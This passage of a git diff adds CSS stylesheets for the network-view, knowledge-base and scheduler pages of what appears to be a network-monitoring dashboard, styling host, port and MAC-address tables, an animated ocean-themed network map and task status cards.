+} + +.netkb-container .badge.failed { + background: linear-gradient(180deg, color-mix(in oklab, var(--danger) 18%, transparent), transparent); +} + +.netkb-container .badge.pending { + background: linear-gradient(180deg, color-mix(in oklab, var(--muted) 12%, transparent), transparent); +} + +.netkb-container .badge.expired { + background: linear-gradient(180deg, color-mix(in oklab, var(--warning) 18%, transparent), transparent); +} + +.netkb-container .badge.cancelled { + background: linear-gradient(180deg, color-mix(in oklab, var(--c-panel) 18%, transparent), transparent); +} + +.netkb-container .badge.running { + background: linear-gradient(180deg, color-mix(in oklab, #18f0ff 14%, transparent), transparent); + overflow: hidden; + animation: kb-badgePulse 1.6s ease-in-out infinite; +} + +.netkb-container .badge.running::after { + content: ""; + position: absolute; + inset: 0; + background: var(--kb-badge-shimmer); + animation: kb-shimmer 1.8s linear infinite; +} + +.netkb-container .badge.running::before { + content: ""; + position: absolute; + inset: -20%; + background: linear-gradient(130deg, transparent 40%, rgba(255, 255, 255, .06) 50%, transparent 60%); + animation: kb-sheen 2.2s ease-in-out infinite; +} + +@keyframes kb-shimmer { + 0% { + transform: translateX(-100%); + } + + 100% { + transform: translateX(100%); + } +} + +@keyframes kb-sheen { + 0% { + transform: translateX(-30%); + } + + 100% { + transform: translateX(30%); + } +} + +@keyframes kb-badgePulse { + + 0%, + 100% { + box-shadow: 0 0 0 0 rgba(24, 240, 255, .12); + } + + 50% { + box-shadow: 0 0 0 8px rgba(24, 240, 255, .04); + } +} + +.netkb-container .table-wrap { + border: 1px solid var(--c-border-strong); + border-radius: 14px; + overflow: auto; + background: var(--panel); + box-shadow: var(--shadow); +} + +.netkb-container .table-inner { + min-width: max-content; +} + +.netkb-container table { + width: 100%; + border-collapse: separate; + border-spacing: 0; +} + +.netkb-container thead th { + position: sticky; + top: 0; + z-index: 2; + background: var(--c-panel); + color: var(--ink); + border-bottom: 1px solid var(--c-border-strong); + padding: 10px; + text-align: left; + white-space: nowrap; + cursor: pointer; +} + +.netkb-container tbody td { + border-bottom: 1px solid var(--c-border); + padding: 10px; + white-space: nowrap; + text-align: center; +} + +.netkb-container th:first-child, +.netkb-container td:first-child { + position: sticky; + left: 0; + background: var(--panel); + z-index: 3; +} + +.netkb-container .filter-icon { + width: 16px; + height: 16px; + margin-left: 6px; + vertical-align: middle; +} + +.netkb-container mark.hl { + background: color-mix(in oklab, var(--acid) 25%, transparent); + color: var(--ink); + padding: 0 .15em; + border-radius: 4px; +} + +.netkb-container .segmented button:focus-visible, +.netkb-container .icon-btn:focus-visible, +.netkb-container .kb-switch:has(input:focus-visible) { + outline: 2px solid var(--acid); + outline-offset: 2px; + box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid) 25%, transparent); +} + +@media (max-width:720px) { + .netkb-container { + padding: 0 4px; + } + + .netkb-container .card { + width: 100%; + } + + .netkb-container .segmented button[data-view="grid"] { + display: none; + } + + .netkb-container .netkb-toolbar-wrap { + position: relative; + top: auto; + } + + .netkb-container .netkb-toolbar { + flex-wrap: wrap; + justify-content: center; + gap: 8px; + } + + .netkb-container .table-wrap { + display: block; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + max-width: 100%; + width: 100%; + box-sizing: border-box; + } + + .netkb-container .table-inner>table { + min-width: 760px; + width: max-content; + } + + .netkb-container thead th, + .netkb-container tbody td { + min-width: 80px; + font-size: .85rem; + padding: 8px 6px; + white-space: nowrap; + } + + .netkb-container .chip { + font-size: .8rem; + padding: .25rem .5rem; + } + + .netkb-container .badge { + min-width: 120px; + padding: 6px 8px; + } +} + diff --git a/web/css/pages/network.css b/web/css/pages/network.css new file mode 100644 index 0000000..3726ef7 --- /dev/null +++ b/web/css/pages/network.css @@ -0,0 +1,605 @@ +/* ===== NETWORK ===== */ +.network-container { + padding: 12px; + position: relative; + z-index: 2; + display: flex; + flex-direction: column; + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 16px); + overflow: hidden; +} + +.network-container.is-table-view .ocean-container { + display: none; +} + +.network-container .nv-toolbar-wrap { + position: sticky; + top: 0; + margin: 0 0 10px 0; + z-index: 500; + backdrop-filter: saturate(1.1) blur(6px); +} + +.network-container .nv-toolbar { + display: flex; + gap: 12px; + align-items: center; + justify-content: space-between; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 16px; + padding: 8px 10px; + box-shadow: var(--shadow); +} + +.network-container .nv-search { + display: flex; + align-items: center; + gap: 8px; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 12px; + padding: 6px 10px; + min-width: 240px; + box-shadow: var(--shadow); +} + +.network-container .nv-search-icon { + font-size: 16px; + flex-shrink: 0; + opacity: .9; +} + +.network-container .nv-search input { + border: none; + outline: none; + background: transparent; + color: var(--ink); + font-weight: 700; + width: 100%; + min-width: 0; +} + +.network-container .nv-search-clear { + flex-shrink: 0; + width: 22px; + height: 22px; + display: flex; + align-items: center; + justify-content: center; + border: none; + background: transparent; + color: var(--muted); + font-size: 13px; + cursor: pointer; + border-radius: 50%; + transition: background .15s; +} + +.network-container .nv-search-clear:hover { + background: var(--c-border-strong); + color: var(--ink); +} + +.network-container .segmented { + display: inline-flex; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 999px; + padding: 4px; + box-shadow: var(--shadow); +} + +.network-container .segmented button { + appearance: none; + border: 0; + background: transparent; + color: var(--muted); + font-weight: 700; + padding: 8px 14px; + border-radius: 999px; + cursor: pointer; + transition: background .15s ease, color .15s ease, transform .1s ease; +} + +.network-container .segmented button[aria-pressed="true"] { + background: var(--grad-card); + color: var(--ink); + box-shadow: inset 0 0 0 1px var(--c-border-hi), 0 6px 24px var(--glow-weak); + transform: translateY(-1px); +} + +.network-container .nv-switch { + display: inline-flex; + align-items: center; + gap: 10px; + font-weight: 700; + color: var(--muted); + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 999px; + padding: 6px 10px; + box-shadow: var(--shadow); +} + +.network-container .nv-switch input { + display: none; +} + +.network-container .nv-switch .track { + width: 44px; + height: 24px; + border-radius: 999px; + background: var(--c-panel-2); + position: relative; + border: 1px solid var(--c-border); +} + +.network-container .nv-switch .thumb { + position: absolute; + top: 2px; + left: 2px; + width: 20px; + height: 20px; + border-radius: 50%; + background: var(--ink); + box-shadow: 0 2px 8px rgba(0, 0, 0, .4); + transition: left .18s ease, background .18s ease; +} + +.network-container .nv-switch input:checked~.track .thumb { + left: 22px; + background: var(--acid); +} + +.network-container .nv-switch[data-on="true"] { + color: var(--ink); +} + +.network-container .table-wrap { + position: relative; + border: 1px solid var(--c-border-strong); + border-radius: 14px; + overflow: auto; + -webkit-overflow-scrolling: touch; + background: var(--c-panel, #0b1218); + box-shadow: var(--shadow); + flex: 1; + min-height: 0; +} + +.network-container table.network-table { + width: 100%; + min-width: 100%; + table-layout: auto; + border-collapse: separate; + border-spacing: 0; +} + +.network-container thead th { + position: sticky; + top: 0; + z-index: 3; + background: var(--c-panel, #0b1218); + color: var(--ink); + border-bottom: 1px solid var(--c-border-strong); + padding: 10px; + text-align: left; + cursor: pointer; + box-shadow: inset 0 -1px 0 var(--c-border); +} + +.network-container tbody tr { + background: color-mix(in oklab, var(--c-panel, #0b1218) 94%, var(--acid) 6%); + transition: .25s ease; +} + +.network-container tbody tr:hover { + background: color-mix(in oklab, var(--c-panel, #0b1218) 84%, var(--acid) 16%); +} + +.network-container td { + padding: 10px; + color: var(--ink, #fff); + background: color-mix(in oklab, var(--c-panel, #0b1218) 97%, var(--acid) 3%); + vertical-align: top; + white-space: normal; + border-bottom: 1px solid color-mix(in oklab, var(--c-border) 65%, transparent); +} + +.network-container th.hosts-header { + left: 0; + position: sticky; + z-index: 4; +} + +.network-container td.hosts-cell { + position: sticky; + left: 0; + z-index: 2; + background: color-mix(in oklab, var(--c-panel, #0b1218) 91%, var(--acid) 9%); +} + +.network-container thead th.sort-asc::after { + content: '\2191'; + margin-left: 8px; + color: #00b894; +} + +.network-container thead th.sort-desc::after { + content: '\2193'; + margin-left: 8px; + color: #00b894; +} + +.network-container .hosts-content { + display: flex; + align-items: center; + gap: .55rem; + flex-wrap: wrap; + min-width: 320px; +} + +.network-container .bubble { + padding: .5rem 1rem; + border-radius: 6px; + font-size: .9rem; + display: inline-flex; + align-items: center; + gap: .5rem; + transition: .2s; + box-shadow: 0 2px 4px rgba(0, 0, 0, .1); +} + +.network-container .bubble.bubble-empty { + background: color-mix(in oklab, var(--muted) 18%, transparent); + color: var(--muted); +} + +.network-container .bubble.essid { + background: linear-gradient(135deg, #272727, #2560a1); + color: #fff; + padding: 5px 10px; + border-radius: 5px; + font-size: .9em; + font-weight: bold; + white-space: nowrap; + display: inline-block; +} + +.network-container .bubble.ip-address { + background: linear-gradient(135deg, #272727, #00cec9); + color: #fff; + font-weight: 600; + cursor: pointer; +} + +.network-container .bubble.hostname { + background: linear-gradient(135deg, #5b5c5a, #e7951a); + color: #fff; + cursor: pointer; +} + +.network-container .bubble.mac-address { + background: linear-gradient(135deg, #404041, #636e72); + color: #b2bec3; + font-family: monospace; + cursor: pointer; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.network-container .bubble.vendor { + background: linear-gradient(135deg, #5b5c5a, #0a4952); + color: #fff; + font-weight: 600; + cursor: pointer; + white-space: nowrap; +} + +.network-container .ports-container { + display: flex; + flex-wrap: wrap; + gap: .45rem; + align-items: center; + min-width: 220px; +} + +.network-container .port-bubble { + background: linear-gradient(135deg, #1f2c33, #00b894); + color: #eafff8; + padding: .4rem .8rem; + border-radius: 20px; + font-size: .85rem; + border: 1px solid color-mix(in oklab, #00b894 40%, transparent); + max-width: fit-content; + transition: .2s; +} + +.network-container .port-bubble.is-empty { + background: color-mix(in oklab, var(--panel) 90%, transparent); + color: var(--muted); + border-style: dashed; +} + +.network-container .port-bubble:hover { + transform: scale(1.08); + box-shadow: 0 2px 8px rgba(9, 132, 227, .3); +} + +/* Ports cell — match hosts-cell vertical alignment */ +.network-container td.ports-cell { + vertical-align: top; +} + +/* Sticky pin button */ +.network-container .nv-pin-btn { + display: none; /* shown on mobile only */ + appearance: none; + border: 1px solid var(--c-border); + background: var(--c-panel, #0b1218); + color: var(--ink); + border-radius: 6px; + width: 28px; + height: 24px; + font-size: 13px; + cursor: pointer; + align-items: center; + justify-content: center; + padding: 0; + line-height: 1; + transition: .15s; +} + +.network-container .nv-pin-btn.active { + background: color-mix(in oklab, var(--acid) 20%, var(--c-panel)); + border-color: var(--acid); + box-shadow: 0 0 6px color-mix(in oklab, var(--acid) 30%, transparent); +} + +/* Dynamic sticky columns */ +.network-container .nv-sticky-col { + position: sticky !important; + z-index: 2; + background: color-mix(in oklab, var(--c-panel, #0b1218) 97%, var(--acid) 3%); + box-shadow: 2px 0 4px rgba(0, 0, 0, .15); +} + +.network-container thead .nv-sticky-col { + z-index: 5; + background: var(--c-panel, #0b1218); +} + +.network-container .segmented button:focus-visible, +.network-container .nv-search input:focus-visible, +.network-container .nv-switch:has(input:focus-visible) { + outline: 2px solid var(--acid); + outline-offset: 2px; + box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid) 25%, transparent); +} + +/* Ocean / Map */ +.network-container .ocean-container { + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + overflow: hidden; + z-index: 0; + pointer-events: none; + background: radial-gradient(ellipse at center, #0a4b7a 0%, #01162e 60%, #00050a 100%); +} + +.network-container .ocean-surface { + position: absolute; + top: -50%; + left: -50%; + width: 200%; + height: 200%; + opacity: 0.3; + background-image: repeating-radial-gradient(circle at 50% 50%, transparent 0, transparent 20px, rgba(255, 255, 255, 0.02) 25px, transparent 40px); + animation: nv-oceanDrift 60s linear infinite alternate; +} + +.network-container .ocean-caustics { + position: absolute; + top: -100%; + left: -100%; + width: 300%; + height: 300%; + opacity: 0.3; + mix-blend-mode: overlay; + animation: nv-causticFlow 30s linear infinite; +} + +@keyframes nv-oceanDrift { + 0% { + transform: translate(0, 0) rotate(0deg); + } + + 100% { + transform: translate(-40px, 20px) rotate(1deg); + } +} + +@keyframes nv-causticFlow { + 0% { + transform: translate(0, 0); + } + + 100% { + transform: translate(-100px, -50px); + } +} + +.network-container #visualization-container { + display: none; + position: relative; + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 100px); + height: 100%; + flex: 1; + border-radius: 14px; + overflow: hidden; + border: 1px solid var(--c-border-strong); + box-shadow: var(--shadow); + background: transparent; +} + +.network-container .link { + stroke: rgba(255, 255, 255, 0.15); + stroke-width: 1px; +} + +.network-container .node { + cursor: pointer; + transition: opacity 0.5s; +} + +.network-container .foam-ring { + fill: rgba(240, 248, 255, 0.3); + mix-blend-mode: screen; + animation: nv-foamPulse 4s ease-in-out infinite alternate; +} + +.network-container .foam-ring:nth-child(2) { + animation-delay: -1s; + opacity: 0.3; +} + +@keyframes nv-foamPulse { + 0% { + transform: scale(0.9) rotate(0deg); + opacity: 0.4; + } + + 100% { + transform: scale(1.1) rotate(10deg); + opacity: 0.1; + } +} + +.network-container .sonar-wave { + fill: none; + stroke: #ffb703; + stroke-width: 2px; + animation: nv-sonar 4s infinite ease-out; + opacity: 0; + pointer-events: none; +} + +@keyframes nv-sonar { + 0% { + r: 40px; + opacity: 0.6; + stroke-width: 3px; + } + + 100% { + r: 300px; + opacity: 0; + stroke-width: 1px; + } +} + +.network-container .label-group { + transition: transform 0.1s; +} + +.network-container .label-bg { + fill: rgba(0, 20, 40, 0.8); + rx: 4; + stroke: rgba(255, 255, 255, 0.1); + stroke-width: 0.5px; +} + +.network-container .label-text { + font-size: 10px; + fill: #fff; + font-family: monospace; + text-shadow: 0 1px 2px #000; + pointer-events: none; +} + +.network-container .d3-tooltip { + position: absolute; + pointer-events: none; + opacity: 0; + background: rgba(2, 16, 31, 0.95); + border: 1px solid #219ebc; + padding: 12px; + border-radius: 8px; + font-size: 0.85rem; + color: #fff; + box-shadow: 0 5px 20px rgba(0, 0, 0, 0.5); + transform: translate(-50%, -110%); + transition: opacity 0.2s; + white-space: nowrap; + z-index: 1000; +} + +@media (max-width: 900px) { + .network-container .nv-toolbar { + flex-wrap: wrap; + justify-content: flex-start; + gap: 8px; + } + + .network-container .nv-search { + min-width: 0; + flex: 1 1 220px; + } + + .network-container .segmented { + order: 3; + } + + .network-container table.network-table { + min-width: 100%; + } + + .network-container .hosts-content { + min-width: unset; + } + + .network-container th.hosts-header, + .network-container td.hosts-cell { + position: static; + } + + .network-container .nv-pin-btn { + display: inline-flex; + } +} + +@media (max-width: 720px) { + .network-container { + padding: 8px; + } + + .network-container .nv-toolbar { + padding: 8px; + } + + .network-container table.network-table { + min-width: 100%; + font-size: 0.9rem; + } + + .network-container td, + .network-container th { + padding: 6px; + } + + .network-container .bubble { + font-size: .82rem; + padding: .35rem .65rem; + } + + .network-container .port-bubble { + font-size: .8rem; + padding: .34rem .62rem; + } +} \ No newline at end of file diff --git a/web/css/pages/scheduler.css b/web/css/pages/scheduler.css new file mode 100644 index 0000000..c07517e --- /dev/null +++ b/web/css/pages/scheduler.css @@ -0,0 +1,794 @@ +/* ========================================================================== + SCHEDULER + ========================================================================== */ +.scheduler-container .toolbar-top { + position: sticky; + top: calc(var(--h-topbar, 0px) + 5px); + z-index: 60; +} + +.scheduler-container .controls { + position: sticky; + top: 1px; + z-index: 50; + display: flex; + flex-wrap: wrap; + align-items: center; + gap: .5rem; + padding: .6rem .8rem; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 14px; + margin: .6rem .6rem 0 .6rem; + box-shadow: var(--shadow); + backdrop-filter: saturate(1.05) blur(6px); +} + +.scheduler-container .pill { + background: var(--panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + border-radius: 999px; + padding: .45rem .8rem; + cursor: pointer; + user-select: none; + -webkit-user-select: none; + font-weight: 700; + transition: transform .15s ease, box-shadow .2s ease, background .2s ease, color .2s ease; + box-shadow: var(--shadow); +} + +.scheduler-container .pill:hover { + transform: translateY(-1px); + box-shadow: 0 10px 26px rgba(0, 0, 0, .35); +} + +.scheduler-container .pill.active { + background: var(--grad-card, linear-gradient(135deg, color-mix(in oklab, var(--panel) 92%, transparent), color-mix(in oklab, var(--c-panel) 88%, transparent))); + box-shadow: inset 0 0 0 1px var(--c-border-strong), 0 6px 24px var(--glow-weak); +} + +.scheduler-container .controls input[type="text"] { + flex: 1 1 260px; + min-width: 200px; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + border-radius: 10px; + padding: .5rem .7rem; + box-shadow: var(--shadow); + font-weight: 700; + outline: none; +} + +.scheduler-container .controls input[type="text"]:focus-visible, +.scheduler-container .pill:focus-visible { + outline: 2px solid var(--acid); + outline-offset: 2px; + box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid) 25%, transparent); +} + +.scheduler-container .stats { + flex-basis: 100%; + margin-left: 0; + text-align: center; + color: var(--muted); +} + +/* Board */ +.scheduler-container .boardWrap { + height: calc(100vh - (var(--h-topbar, 0px) + 5px) - 56px - 52px); + overflow: auto; +} + +.scheduler-container .board { + display: flex; + gap: 14px; + padding: 14px; + min-width: 960px; +} + +.scheduler-container .lane { + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 16px; + width: 340px; + display: flex; + flex-direction: column; + box-shadow: var(--shadow); + min-height: 0; +} + +.scheduler-container .laneHeader { + display: flex; + align-items: center; + gap: .6rem; + padding: .6rem .75rem; + border-bottom: 1px solid var(--c-border-strong); + border-top-left-radius: 16px; + border-top-right-radius: 16px; + background: linear-gradient(180deg, color-mix(in oklab, var(--panel) 96%, transparent), color-mix(in oklab, var(--panel) 88%, transparent)); + position: sticky; + top: 0; + z-index: 5; +} + +.scheduler-container .laneHeader .dot { + width: 10px; + height: 10px; + border-radius: 999px; + box-shadow: 0 0 0 1px rgba(255, 255, 255, .08) inset; +} + +.scheduler-container .laneHeader .count { + margin-left: auto; + color: var(--muted); + font-size: .9rem; +} + +.scheduler-container .laneBody { + padding: .6rem; + display: flex; + flex-direction: column; + gap: .6rem; + overflow: auto; + min-height: 0; +} + +/* Status dot colors */ +.scheduler-container .status-upcoming .laneHeader .dot { + background: var(--c-upcoming); + animation: sched-dotPulse 1.6s ease-in-out infinite; +} + +.scheduler-container .status-pending .laneHeader .dot { + background: var(--c-pending); +} + +.scheduler-container .status-running .laneHeader .dot { + background: var(--c-running); + animation: sched-dotPulse 1.6s ease-in-out infinite; +} + +.scheduler-container .status-success .laneHeader .dot { + background: var(--c-success); +} + +.scheduler-container .status-failed .laneHeader .dot { + background: var(--c-failed); +} + +.scheduler-container .status-expired .laneHeader .dot { + background: var(--c-expired); +} + +.scheduler-container .status-cancelled .laneHeader .dot { + background: var(--c-cancel); +} + +@keyframes sched-dotPulse { + + 0%, + 100% { + box-shadow: 0 0 0 0 rgba(74, 168, 255, 0); + } + + 50% { + box-shadow: 0 0 12px 3px rgba(74, 168, 255, .65); + } +} + +/* Cards */ +.scheduler-container .card { + position: relative; + border: 1px solid var(--c-border-strong); + border-radius: 12px; + padding: .7rem .75rem; + box-shadow: var(--shadow); + display: flex; + flex-direction: column; + gap: .45rem; + overflow: hidden; + transition: transform .15s ease, box-shadow .25s ease, filter .2s ease, background .25s ease; + will-change: transform, box-shadow, filter; + background: var(--c-panel); +} + +.scheduler-container .card:hover { + transform: translateY(-1px); + box-shadow: 0 16px 36px rgba(0, 0, 0, .4); +} + +.scheduler-container .card .infoBtn { + position: absolute; + top: 6px; + right: 6px; + z-index: 3; + width: 22px; + height: 22px; + line-height: 20px; + font-weight: 800; + text-align: center; + border-radius: 999px; + border: 1px solid var(--c-border-strong); + background: var(--panel); + color: var(--c-upcoming); + cursor: pointer; + user-select: none; + -webkit-user-select: none; +} + +.scheduler-container .card .infoBtn:hover { + filter: brightness(1.1); +} + +/* Card status backgrounds */ +.scheduler-container .card.status-upcoming { + background: color-mix(in oklab, var(--c-upcoming) 12%, var(--c-panel)); + animation: sched-breathe 2.6s ease-in-out infinite, sched-halo 2.6s ease-in-out infinite; +} + +.scheduler-container .card.status-pending { + background: color-mix(in oklab, var(--c-pending) 10%, var(--c-panel)); + animation: sched-breathe 2.6s ease-in-out infinite, sched-haloGray 2.8s ease-in-out infinite; +} + +.scheduler-container .card.status-running { + background: color-mix(in oklab, var(--c-running) 12%, var(--c-panel)); + animation: sched-pulse 1.8s ease-in-out infinite, sched-haloBlue 2s ease-in-out infinite; +} + +.scheduler-container .card.status-success { + background: color-mix(in oklab, var(--c-success) 10%, var(--c-panel)); +} + +.scheduler-container .card.status-failed { + background: color-mix(in oklab, var(--c-failed) 10%, var(--c-panel)); +} + +.scheduler-container .card.status-expired { + background: color-mix(in oklab, var(--c-expired) 10%, var(--c-panel)); +} + +.scheduler-container .card.status-cancelled { + background: color-mix(in oklab, var(--c-cancel) 10%, var(--c-panel)); +} + +.scheduler-container .badge { + margin-left: auto; + border-radius: 999px; + padding: .15rem .6rem; + font-size: .75rem; + font-weight: 800; + color: #0a0d10; +} + +.scheduler-container .card.status-upcoming .badge { + background: var(--c-upcoming); +} + +.scheduler-container .card.status-pending .badge { + background: var(--c-pending); +} + +.scheduler-container .card.status-running .badge { + background: var(--c-running); +} + +.scheduler-container .card.status-success .badge { + background: var(--c-success); +} + +.scheduler-container .card.status-failed .badge { + background: var(--c-failed); +} + +.scheduler-container .card.status-expired .badge { + background: var(--c-expired); +} + +.scheduler-container .card.status-cancelled .badge { + background: var(--c-cancel); +} + +/* Collapsed */ +.scheduler-container .card.collapsed .kv, +.scheduler-container .card.collapsed .tags, +.scheduler-container .card.collapsed .timer, +.scheduler-container .card.collapsed .meta, +.scheduler-container .card.collapsed .btns, +.scheduler-container .card.collapsed .notice { + display: none !important; +} + +.scheduler-container .card.collapsed { + gap: .25rem; + padding: .4rem .5rem; +} + +.scheduler-container .card.collapsed .actionIcon { + width: 80px; + height: 80px; +} + +.scheduler-container .cardHeader { + display: flex; + align-items: center; + gap: .6rem; +} + +.scheduler-container .actionName { + font-weight: 800; + letter-spacing: .2px; +} + +.scheduler-container .actionIconWrap { + display: flex; + align-items: center; + justify-content: center; + margin-right: 8px; +} + +.scheduler-container .actionIcon { + width: 80px; + height: 80px; + object-fit: contain; + border-radius: 6px; + background: var(--panel); + border: 1px solid var(--c-border); +} + +.scheduler-container .card.status-running .actionIcon { + animation: sched-pulseIcon 1.2s ease-in-out infinite; +} + +.scheduler-container .card.status-pending .actionIcon { + animation: sched-swayIcon 1.8s ease-in-out infinite; +} + +.scheduler-container .card.status-upcoming .actionIcon { + animation: sched-blinkIcon 2s ease-in-out infinite; +} + +@keyframes sched-pulseIcon { + + 0%, + 100% { + transform: scale(1); + } + + 50% { + transform: scale(1.25); + } +} + +@keyframes sched-swayIcon { + + 0%, + 100% { + transform: rotate(0deg); + } + + 25% { + transform: rotate(-5deg); + } + + 75% { + transform: rotate(5deg); + } +} + +@keyframes sched-blinkIcon { + + 0%, + 100% { + opacity: 1; + } + + 50% { + opacity: .4; + } +} + +.scheduler-container .kv { + display: flex; + flex-wrap: wrap; + gap: .45rem .8rem; + font-size: .9rem; +} + +.scheduler-container .kv .k { + color: var(--muted); +} + +.scheduler-container .tags { + display: flex; + flex-wrap: wrap; + gap: .35rem; +} + +.scheduler-container .tag { + background: var(--panel); + color: var(--ink); + border: 1px solid var(--c-border-strong); + padding: .15rem .45rem; + border-radius: 999px; + font-size: .74rem; + box-shadow: var(--shadow); +} + +.scheduler-container .meta { + color: color-mix(in oklab, var(--ink) 76%, #9aa7b2); + font-size: .82rem; + display: flex; + flex-wrap: wrap; + gap: .5rem .8rem; +} + +.scheduler-container .btns { + display: flex; + flex-wrap: wrap; + gap: .4rem; + margin-top: .2rem; +} + +.scheduler-container .btn { + background: var(--panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + padding: .35rem .6rem; + border-radius: 8px; + cursor: pointer; +} + +.scheduler-container .btn:hover { + filter: brightness(1.08); +} + +.scheduler-container .btn.danger { + background: color-mix(in oklab, #9c2b2b 22%, var(--panel)); + border-color: #4a1515; + color: #ffd0d0; +} + +.scheduler-container .btn.warn { + background: color-mix(in oklab, #9c6a2b 22%, var(--panel)); + border-color: #5c2c0c; + color: #ffd8a8; +} + +.scheduler-container .empty { + color: var(--muted); + text-align: center; + padding: .6rem; +} + +@keyframes sched-pulse { + + 0%, + 100% { + transform: scale(1); + } + + 50% { + transform: scale(1.02); + } +} + +@keyframes sched-breathe { + + 0%, + 100% { + filter: brightness(1); + } + + 50% { + filter: brightness(1.07); + } +} + +@keyframes sched-halo { + + 0%, + 100% { + box-shadow: 0 0 12px rgba(156, 194, 255, .25); + } + + 50% { + box-shadow: 0 0 22px rgba(156, 194, 255, .45); + } +} + +@keyframes sched-haloGray { + + 0%, + 100% { + box-shadow: 0 0 12px rgba(187, 187, 187, .15); + } + + 50% { + box-shadow: 0 0 22px rgba(187, 187, 187, .3); + } +} + +@keyframes sched-haloBlue { + + 0%, + 100% { + box-shadow: 0 0 12px rgba(74, 168, 255, .25); + } + + 50% { + box-shadow: 0 0 26px rgba(74, 168, 255, .5); + } +} + +/* Timer / Progress */ +.scheduler-container .timer { + font-size: .82rem; + color: color-mix(in oklab, var(--ink) 80%, #bcd7ff); + display: flex; + align-items: center; + gap: .4rem; +} + +.scheduler-container .timer .cd { + font-variant-numeric: tabular-nums; +} + +.scheduler-container .progress { + height: 6px; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 999px; + overflow: hidden; +} + +.scheduler-container .progress .bar { + height: 100%; + width: 0%; + background: linear-gradient(90deg, var(--c-running), #00d8ff); +} + +/* More button */ +.scheduler-container .moreWrap { + display: flex; + justify-content: center; +} + +.scheduler-container .moreBtn { + background: var(--panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + border-radius: 10px; + padding: .45rem .8rem; + cursor: pointer; + transition: transform .15s; + margin: .25rem auto 0; + box-shadow: var(--shadow); +} + +.scheduler-container .moreBtn:hover { + transform: translateY(-1px); +} + +/* Notice */ +.scheduler-container .notice { + padding: .6rem .8rem; + color: #ffd9d6; + background: color-mix(in oklab, #7a3838 55%, var(--panel)); + border-bottom: 1px solid #7a3838; + display: none; + border-radius: 12px; + margin: .6rem; +} + +/* Chips */ +.scheduler-container .chips { + display: flex; + flex-wrap: wrap; + gap: .35rem; + margin: .1rem 0 .2rem; + justify-content: center; +} + +.scheduler-container .chip { + --h: 200; + display: inline-flex; + align-items: center; + gap: .4rem; + padding: .25rem .55rem; + border-radius: 999px; + font-size: .82rem; + font-weight: 800; + color: #fff; + letter-spacing: .2px; + background: linear-gradient(135deg, rgba(255, 255, 255, .06), rgba(0, 0, 0, .12)), hsl(var(--h), 65%, 34%); + border: 1px solid hsla(var(--h), 70%, 60%, .35); + box-shadow: 0 6px 16px rgba(0, 0, 0, .22), inset 0 1px 0 rgba(255, 255, 255, .06); + transition: transform .15s ease, box-shadow .2s ease, filter .2s ease; +} + +.scheduler-container .chip:hover { + transform: translateY(-1px); + box-shadow: 0 10px 22px rgba(0, 0, 0, .28); +} + +.scheduler-container .chip .k { + opacity: .85; + font-weight: 700; +} + +/* History modal */ +.scheduler-container .modalOverlay { + position: fixed; + inset: 0; + background: rgba(0, 0, 0, .5); + display: none; + align-items: center; + justify-content: center; + z-index: 1000; +} + +.scheduler-container .modal { + width: min(860px, 92vw); + max-height: 80vh; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 14px; + box-shadow: 0 20px 56px rgba(0, 0, 0, .6); + display: flex; + flex-direction: column; + overflow: hidden; +} + +.scheduler-container .modalHeader { + display: flex; + align-items: center; + gap: .6rem; + padding: .6rem .8rem; + border-bottom: 1px solid var(--c-border-strong); + background: linear-gradient(180deg, color-mix(in oklab, var(--panel) 96%, transparent), color-mix(in oklab, var(--panel) 88%, transparent)); +} + +.scheduler-container .modalHeader .title { + font-weight: 900; +} + +.scheduler-container .modalHeader .spacer { + flex: 1; +} + +.scheduler-container .modalBody { + padding: .6rem .8rem; + overflow: auto; + display: flex; + flex-direction: column; + gap: .35rem; +} + +.scheduler-container .modalFooter { + padding: .5rem .8rem; + border-top: 1px solid var(--c-border-strong); + display: flex; + gap: .5rem; + justify-content: flex-end; + color: var(--muted); +} + +.scheduler-container .xBtn, +.scheduler-container .miniToggle { + background: var(--panel); + color: var(--ink); + border: 1px solid var(--c-border-strong); + border-radius: 8px; + padding: .35rem .6rem; + cursor: pointer; +} + +.scheduler-container .xBtn:hover, +.scheduler-container .miniToggle:hover { + filter: brightness(1.08); +} + +.scheduler-container #searchBox { + width: 100%; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + border-radius: 10px; + padding: .5rem .7rem; + box-shadow: var(--shadow); + font-weight: 700; + outline: none; +} + +.scheduler-container .histRow { + display: flex; + align-items: center; + gap: .6rem; + padding: .45rem .6rem; + border-radius: 10px; + border: 1px solid var(--c-border-strong); + background: color-mix(in oklab, var(--ink) 2%, var(--panel)); +} + +.scheduler-container .histRow .ts { + color: var(--muted); + font-variant-numeric: tabular-nums; +} + +.scheduler-container .histRow .st { + font-weight: 900; + margin-left: auto; + padding: .1rem .5rem; + border-radius: 999px; + font-size: .75rem; + color: #0a0d10; +} + +.scheduler-container .hist-success { + background: color-mix(in oklab, var(--c-success) 8%, var(--panel)); + border-left: 3px solid var(--c-success); +} + +.scheduler-container .hist-failed { + background: color-mix(in oklab, var(--c-failed) 8%, var(--panel)); + border-left: 3px solid var(--c-failed); +} + +.scheduler-container .hist-running { + background: color-mix(in oklab, var(--c-running) 8%, var(--panel)); + border-left: 3px solid var(--c-running); +} + +.scheduler-container .hist-pending, +.scheduler-container .hist-scheduled { + background: color-mix(in oklab, var(--c-pending) 8%, var(--panel)); + border-left: 